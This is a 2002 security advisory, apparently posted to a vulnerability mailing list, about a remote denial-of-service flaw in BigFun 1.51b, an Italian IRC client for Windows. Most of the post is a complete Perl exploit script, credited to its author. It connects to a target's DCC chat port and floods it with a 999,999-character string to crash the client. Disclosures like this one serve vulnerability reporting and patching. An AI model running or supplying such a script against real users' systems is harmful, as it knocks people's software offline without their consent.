[EXPL] BigFun Remote DoS Attack

From: support@securiteam.com
Date: 12/04/02

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      BigFun Remote DoS Attack
    ------------------------------------------------------------------------

    SUMMARY

    BigFun is an Italian IRC client for Microsoft Windows, if DCC chat is
    established an attacker can cause a Dos to the client by sending him a
    long string.

    DETAILS

    Vulnerable systems:
     * BigFun version 1.51b

    Exploit:
    #########################################################
    # BigFun Version 1.51b Remote DoS attack
    # Exploit by Luca Ercoli luca.ercoli@inwind.it
    #########################################################

    use Socket;

    $host = $ARGV[0];
    $port = $ARGV[1];

    if (!defined($port)) {
    print "Usage: $0 <target> <DCC port>\n";
    exit;
    }

    $iaddr = inet_aton($host) || die "Host Resolve Error.\n";
    $sock_addr = pack_sockaddr_in($port,$iaddr);

    socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
    connect(SOCKET,$sock_addr) || die "Connect Error.\n";
    select(SOCKET); $|=1; select(STDOUT);

    $dos = "A" x 999999;

    print SOCKET $dos;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:luca.ercoli@inwind.it> Luca
    Ercoli.

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